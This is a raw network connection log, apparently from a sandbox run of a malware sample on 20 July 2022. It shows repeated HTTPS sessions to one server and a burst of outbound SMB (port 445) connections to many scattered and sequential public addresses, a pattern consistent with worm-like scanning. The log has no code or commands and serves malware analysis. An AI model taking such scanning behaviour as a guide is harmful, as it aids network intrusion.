Jul 20, 2022 13:25:22.712007999 CEST	443	52070	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.712024927 CEST	52070	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.712066889 CEST	52070	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.714812994 CEST	52072	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.714853048 CEST	443	52072	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.714960098 CEST	52072	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.715491056 CEST	52072	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.715506077 CEST	443	52072	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.764333010 CEST	52073	445	192.168.2.7	5.240.140.23
Jul 20, 2022 13:25:22.857763052 CEST	52074	445	192.168.2.7	185.15.42.41
Jul 20, 2022 13:25:22.861484051 CEST	443	52072	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.861721039 CEST	52072	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.862338066 CEST	52072	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.862369061 CEST	443	52072	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.864855051 CEST	52072	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.864875078 CEST	443	52072	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.895045042 CEST	52075	445	192.168.2.7	50.173.56.224
Jul 20, 2022 13:25:22.905003071 CEST	52076	445	192.168.2.7	40.36.197.52
Jul 20, 2022 13:25:22.935596943 CEST	52079	445	192.168.2.7	154.190.40.209
Jul 20, 2022 13:25:22.942234993 CEST	443	52072	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.942312002 CEST	443	52072	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.942327023 CEST	52072	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.942367077 CEST	52072	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.942456961 CEST	52072	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.942481995 CEST	443	52072	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.942497969 CEST	52072	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.942542076 CEST	52072	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.944649935 CEST	52080	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.944710970 CEST	443	52080	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.944803953 CEST	52080	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.945053101 CEST	52080	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.945074081 CEST	443	52080	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.960393906 CEST	52081	445	192.168.2.7	192.174.164.34
Jul 20, 2022 13:25:22.964437008 CEST	52084	445	192.168.2.7	57.122.239.157
Jul 20, 2022 13:25:22.964561939 CEST	52087	445	192.168.2.7	158.158.14.111
Jul 20, 2022 13:25:22.964601040 CEST	52088	445	192.168.2.7	210.69.184.136
Jul 20, 2022 13:25:22.964610100 CEST	52086	445	192.168.2.7	61.109.192.41
Jul 20, 2022 13:25:22.964660883 CEST	52089	445	192.168.2.7	182.131.218.129
Jul 20, 2022 13:25:22.964747906 CEST	52090	445	192.168.2.7	51.44.237.41
Jul 20, 2022 13:25:22.964776039 CEST	52091	445	192.168.2.7	116.83.73.194
Jul 20, 2022 13:25:22.964848995 CEST	52092	445	192.168.2.7	192.38.178.168
Jul 20, 2022 13:25:22.964941025 CEST	52094	445	192.168.2.7	142.55.182.154
Jul 20, 2022 13:25:22.964991093 CEST	52096	445	192.168.2.7	35.146.203.134
Jul 20, 2022 13:25:22.965138912 CEST	52100	445	192.168.2.7	29.170.161.75
Jul 20, 2022 13:25:22.965174913 CEST	52101	445	192.168.2.7	15.38.142.216
Jul 20, 2022 13:25:22.965243101 CEST	52102	445	192.168.2.7	108.4.1.24
Jul 20, 2022 13:25:22.965321064 CEST	52104	445	192.168.2.7	122.177.182.44
Jul 20, 2022 13:25:22.965372086 CEST	52105	445	192.168.2.7	148.154.203.47
Jul 20, 2022 13:25:22.965430021 CEST	52106	445	192.168.2.7	167.122.233.149
Jul 20, 2022 13:25:22.965506077 CEST	52108	445	192.168.2.7	9.106.136.68
Jul 20, 2022 13:25:22.965620041 CEST	52109	445	192.168.2.7	32.46.135.149
Jul 20, 2022 13:25:22.965661049 CEST	52111	445	192.168.2.7	51.215.232.111
Jul 20, 2022 13:25:22.965734005 CEST	52110	445	192.168.2.7	148.211.110.108
Jul 20, 2022 13:25:22.965760946 CEST	52112	445	192.168.2.7	44.199.99.220
Jul 20, 2022 13:25:22.965945959 CEST	52113	445	192.168.2.7	203.148.217.119
Jul 20, 2022 13:25:22.966042042 CEST	52115	445	192.168.2.7	94.207.220.133
Jul 20, 2022 13:25:23.021186113 CEST	52117	445	192.168.2.7	142.248.240.196
Jul 20, 2022 13:25:23.021889925 CEST	52118	445	192.168.2.7	217.227.55.63
Jul 20, 2022 13:25:23.088695049 CEST	443	52080	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.088861942 CEST	52080	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.135241985 CEST	52080	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.135274887 CEST	443	52080	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.138220072 CEST	52080	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.138251066 CEST	443	52080	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.233704090 CEST	443	52080	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.233810902 CEST	443	52080	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.233809948 CEST	52080	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.233864069 CEST	52080	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.238290071 CEST	52080	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.238337040 CEST	443	52080	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.238348961 CEST	52080	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.238389969 CEST	52080	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.240303993 CEST	52120	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.240346909 CEST	443	52120	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.240472078 CEST	52120	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.241446972 CEST	52120	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.241465092 CEST	443	52120	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.393678904 CEST	443	52120	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.393806934 CEST	52120	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.394310951 CEST	52120	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.394329071 CEST	443	52120	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.396914959 CEST	52120	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.396941900 CEST	443	52120	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.489443064 CEST	443	52120	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.489530087 CEST	443	52120	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.489553928 CEST	52120	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.489605904 CEST	52120	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.489654064 CEST	52120	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.489696026 CEST	443	52120	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.489706993 CEST	52120	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.489767075 CEST	52120	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.491697073 CEST	52121	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.491743088 CEST	443	52121	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.491895914 CEST	52121	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.492136955 CEST	52121	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.492158890 CEST	443	52121	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.633874893 CEST	443	52121	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.633958101 CEST	52121	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.634526014 CEST	52121	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.634545088 CEST	443	52121	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.637116909 CEST	52121	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.637139082 CEST	443	52121	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.698120117 CEST	443	52121	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.698191881 CEST	443	52121	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.698278904 CEST	52121	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.698297977 CEST	52121	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.698365927 CEST	52121	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.698385954 CEST	443	52121	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.698398113 CEST	52121	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.698440075 CEST	52121	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.701540947 CEST	52123	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.701592922 CEST	443	52123	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.701736927 CEST	52123	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.702033043 CEST	52123	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.702054024 CEST	443	52123	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.818295956 CEST	80	49703	93.184.220.29	192.168.2.7
Jul 20, 2022 13:25:23.818434000 CEST	49703	80	192.168.2.7	93.184.220.29
Jul 20, 2022 13:25:23.842670918 CEST	52125	445	192.168.2.7	5.240.140.24
Jul 20, 2022 13:25:23.845313072 CEST	443	52123	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.845473051 CEST	52123	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.849517107 CEST	52123	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.849544048 CEST	443	52123	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.867127895 CEST	52123	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.867156029 CEST	443	52123	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.936048985 CEST	52126	445	192.168.2.7	185.15.42.42
Jul 20, 2022 13:25:23.963824987 CEST	443	52123	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.963896036 CEST	443	52123	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:23.963922024 CEST	52123	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.964040995 CEST	52123	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:23.998541117 CEST	52127	445	192.168.2.7	17.74.63.49
Jul 20, 2022 13:25:24.019443035 CEST	52123	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.019485950 CEST	443	52123	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.019503117 CEST	52123	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.019572020 CEST	52123	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.030374050 CEST	52128	445	192.168.2.7	115.216.205.200
Jul 20, 2022 13:25:24.078536034 CEST	52132	445	192.168.2.7	172.13.42.140
Jul 20, 2022 13:25:24.079410076 CEST	52133	445	192.168.2.7	166.126.241.126
Jul 20, 2022 13:25:24.093555927 CEST	52136	445	192.168.2.7	139.13.75.232
Jul 20, 2022 13:25:24.094259977 CEST	52137	445	192.168.2.7	3.188.83.105
Jul 20, 2022 13:25:24.094957113 CEST	52138	445	192.168.2.7	169.172.244.152
Jul 20, 2022 13:25:24.095585108 CEST	52139	445	192.168.2.7	206.48.223.3
Jul 20, 2022 13:25:24.096235991 CEST	52140	445	192.168.2.7	11.18.232.192
Jul 20, 2022 13:25:24.097886086 CEST	52141	445	192.168.2.7	179.59.203.226
Jul 20, 2022 13:25:24.106168032 CEST	52142	445	192.168.2.7	26.122.58.153
Jul 20, 2022 13:25:24.107578993 CEST	52144	445	192.168.2.7	189.214.34.73
Jul 20, 2022 13:25:24.108544111 CEST	52146	445	192.168.2.7	195.183.85.100
Jul 20, 2022 13:25:24.109231949 CEST	52147	445	192.168.2.7	196.141.57.144
Jul 20, 2022 13:25:24.116772890 CEST	52151	445	192.168.2.7	40.201.163.169
Jul 20, 2022 13:25:24.116813898 CEST	52152	445	192.168.2.7	186.124.20.199
Jul 20, 2022 13:25:24.116997004 CEST	52154	445	192.168.2.7	104.136.131.186
Jul 20, 2022 13:25:24.117073059 CEST	52155	445	192.168.2.7	7.77.151.102
Jul 20, 2022 13:25:24.117093086 CEST	52156	445	192.168.2.7	79.87.73.24
Jul 20, 2022 13:25:24.117135048 CEST	52157	445	192.168.2.7	112.141.224.75
Jul 20, 2022 13:25:24.117218018 CEST	52159	445	192.168.2.7	8.49.135.146
Jul 20, 2022 13:25:24.117300987 CEST	52161	445	192.168.2.7	49.137.92.184
Jul 20, 2022 13:25:24.117305040 CEST	52160	445	192.168.2.7	148.193.51.150
Jul 20, 2022 13:25:24.117367983 CEST	52162	445	192.168.2.7	121.248.228.236
Jul 20, 2022 13:25:24.117552996 CEST	52163	445	192.168.2.7	170.87.95.76
Jul 20, 2022 13:25:24.117554903 CEST	52165	445	192.168.2.7	159.39.242.0
Jul 20, 2022 13:25:24.117696047 CEST	52166	445	192.168.2.7	56.34.50.102
Jul 20, 2022 13:25:24.121818066 CEST	52167	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.121915102 CEST	443	52167	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.122015953 CEST	52167	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.122978926 CEST	52167	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.123011112 CEST	443	52167	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.139271975 CEST	52169	445	192.168.2.7	6.22.152.207
Jul 20, 2022 13:25:24.140189886 CEST	52171	445	192.168.2.7	171.95.56.127
Jul 20, 2022 13:25:24.265033960 CEST	443	52167	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.265137911 CEST	52167	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.271112919 CEST	52167	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.271132946 CEST	443	52167	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.312129974 CEST	52167	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.312151909 CEST	443	52167	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.412168980 CEST	443	52167	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.412239075 CEST	52167	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.412245989 CEST	443	52167	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.412295103 CEST	52167	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.426842928 CEST	52167	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.426878929 CEST	443	52167	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.426889896 CEST	52167	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.427032948 CEST	52167	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.430185080 CEST	52172	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.430248022 CEST	443	52172	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.430593967 CEST	52172	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.431759119 CEST	52172	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.431787014 CEST	443	52172	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.582469940 CEST	443	52172	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.582566977 CEST	52172	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.588999987 CEST	52172	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.589010954 CEST	443	52172	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.650867939 CEST	52172	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.650896072 CEST	443	52172	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.746068001 CEST	443	52172	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.746131897 CEST	443	52172	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.746139050 CEST	52172	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.746364117 CEST	52172	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.769558907 CEST	52172	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.769598007 CEST	443	52172	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.769609928 CEST	52172	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.769669056 CEST	52172	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.772099972 CEST	52174	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.772160053 CEST	443	52174	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.772289991 CEST	52174	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.772814035 CEST	52174	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.772835970 CEST	443	52174	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.920191050 CEST	52176	445	192.168.2.7	5.240.140.25
Jul 20, 2022 13:25:24.924242020 CEST	443	52174	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.924357891 CEST	52174	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.929929018 CEST	52174	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.929953098 CEST	443	52174	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.933010101 CEST	52174	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.933033943 CEST	443	52174	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.992367029 CEST	443	52174	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.992443085 CEST	443	52174	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.992588043 CEST	52174	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.992760897 CEST	52174	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.992788076 CEST	443	52174	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.998616934 CEST	52177	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:24.998655081 CEST	443	52177	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:24.998742104 CEST	52177	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.006011963 CEST	52177	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.006032944 CEST	443	52177	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.013645887 CEST	52178	445	192.168.2.7	185.15.42.43
Jul 20, 2022 13:25:25.124656916 CEST	52179	445	192.168.2.7	59.136.137.238
Jul 20, 2022 13:25:25.150085926 CEST	443	52177	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.150187016 CEST	52177	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.152523041 CEST	52177	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.152540922 CEST	443	52177	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.154593945 CEST	52180	445	192.168.2.7	51.114.158.141
Jul 20, 2022 13:25:25.189244032 CEST	52177	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.189274073 CEST	443	52177	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.201720953 CEST	52184	445	192.168.2.7	40.134.10.63
Jul 20, 2022 13:25:25.219419003 CEST	52186	445	192.168.2.7	45.168.87.13
Jul 20, 2022 13:25:25.219685078 CEST	52189	445	192.168.2.7	116.238.20.24
Jul 20, 2022 13:25:25.219690084 CEST	52187	445	192.168.2.7	102.249.27.54
Jul 20, 2022 13:25:25.219758987 CEST	52190	445	192.168.2.7	188.206.176.2
Jul 20, 2022 13:25:25.219826937 CEST	52188	445	192.168.2.7	47.124.130.199
Jul 20, 2022 13:25:25.219878912 CEST	52191	445	192.168.2.7	123.30.153.88
Jul 20, 2022 13:25:25.220558882 CEST	52192	445	192.168.2.7	6.166.82.26
Jul 20, 2022 13:25:25.231724977 CEST	51521	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:25.232672930 CEST	52195	445	192.168.2.7	147.2.175.164
Jul 20, 2022 13:25:25.236567020 CEST	52196	445	192.168.2.7	70.87.24.125
Jul 20, 2022 13:25:25.241327047 CEST	52197	445	192.168.2.7	14.207.192.181
Jul 20, 2022 13:25:25.245069981 CEST	443	52177	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.245130062 CEST	443	52177	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.245225906 CEST	52177	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.245435953 CEST	52199	445	192.168.2.7	183.254.28.191
Jul 20, 2022 13:25:25.245531082 CEST	52200	445	192.168.2.7	16.149.26.85
Jul 20, 2022 13:25:25.245589018 CEST	52201	445	192.168.2.7	184.203.64.27
Jul 20, 2022 13:25:25.245634079 CEST	52202	445	192.168.2.7	75.71.186.146
Jul 20, 2022 13:25:25.245702028 CEST	52204	445	192.168.2.7	91.149.249.155
Jul 20, 2022 13:25:25.245805979 CEST	52207	445	192.168.2.7	98.53.207.183
Jul 20, 2022 13:25:25.245809078 CEST	52205	445	192.168.2.7	35.63.124.103
Jul 20, 2022 13:25:25.245827913 CEST	52206	445	192.168.2.7	193.47.241.224
Jul 20, 2022 13:25:25.245929956 CEST	52209	445	192.168.2.7	189.89.3.70
Jul 20, 2022 13:25:25.245991945 CEST	52210	445	192.168.2.7	149.40.217.27
Jul 20, 2022 13:25:25.246109962 CEST	52214	445	192.168.2.7	161.62.206.94
Jul 20, 2022 13:25:25.246156931 CEST	52215	445	192.168.2.7	49.188.89.206
Jul 20, 2022 13:25:25.246288061 CEST	52218	445	192.168.2.7	154.236.108.213
Jul 20, 2022 13:25:25.307321072 CEST	52220	445	192.168.2.7	157.123.193.240
Jul 20, 2022 13:25:25.307384968 CEST	52222	445	192.168.2.7	201.249.179.44
Jul 20, 2022 13:25:25.310381889 CEST	52177	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.310420990 CEST	443	52177	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.310431957 CEST	52177	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.310642004 CEST	52177	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.316327095 CEST	52223	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.316370964 CEST	443	52223	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.316551924 CEST	52223	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.320189953 CEST	52223	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.320229053 CEST	443	52223	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.444432974 CEST	445	52204	91.149.249.155	192.168.2.7
Jul 20, 2022 13:25:25.463323116 CEST	443	52223	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.464068890 CEST	52223	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.472081900 CEST	52223	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.472103119 CEST	443	52223	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.506273031 CEST	52223	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.506303072 CEST	443	52223	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.588670015 CEST	443	52223	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.588746071 CEST	443	52223	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.588788986 CEST	52223	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.588815928 CEST	52223	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.588890076 CEST	52223	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.588917971 CEST	443	52223	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.588933945 CEST	52223	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.588995934 CEST	52223	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.606275082 CEST	52225	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.606336117 CEST	443	52225	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.606517076 CEST	52225	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.609165907 CEST	52225	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.609198093 CEST	443	52225	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.758311033 CEST	443	52225	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.758474112 CEST	52225	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.759114981 CEST	52225	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.759134054 CEST	443	52225	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.761697054 CEST	52225	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.761714935 CEST	443	52225	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.827651024 CEST	443	52225	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.827747107 CEST	443	52225	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.827802896 CEST	52225	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.827837944 CEST	52225	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.849582911 CEST	52225	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.849618912 CEST	443	52225	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.857398033 CEST	52227	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.857434034 CEST	443	52227	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.857561111 CEST	52227	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.858004093 CEST	52227	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:25.858016968 CEST	443	52227	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:25.950562954 CEST	52204	445	192.168.2.7	91.149.249.155
Jul 20, 2022 13:25:25.998603106 CEST	52228	445	192.168.2.7	5.240.140.26
Jul 20, 2022 13:25:26.002710104 CEST	443	52227	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.002873898 CEST	52227	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.003515005 CEST	52227	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.003525972 CEST	443	52227	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.006256104 CEST	52227	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.006272078 CEST	443	52227	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.066001892 CEST	443	52227	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.066133976 CEST	443	52227	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.066186905 CEST	52227	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.066257954 CEST	52227	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.066456079 CEST	52227	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.066474915 CEST	443	52227	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.066483021 CEST	52227	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.066586971 CEST	52227	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.069391012 CEST	52230	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.069421053 CEST	443	52230	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.069561005 CEST	52230	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.069852114 CEST	52230	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.069859028 CEST	443	52230	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.081513882 CEST	52231	445	192.168.2.7	185.15.42.44
Jul 20, 2022 13:25:26.150530100 CEST	445	52204	91.149.249.155	192.168.2.7
Jul 20, 2022 13:25:26.214550018 CEST	443	52230	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.214734077 CEST	52230	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.215441942 CEST	52230	443	192.168.2.7	20.238.103.94
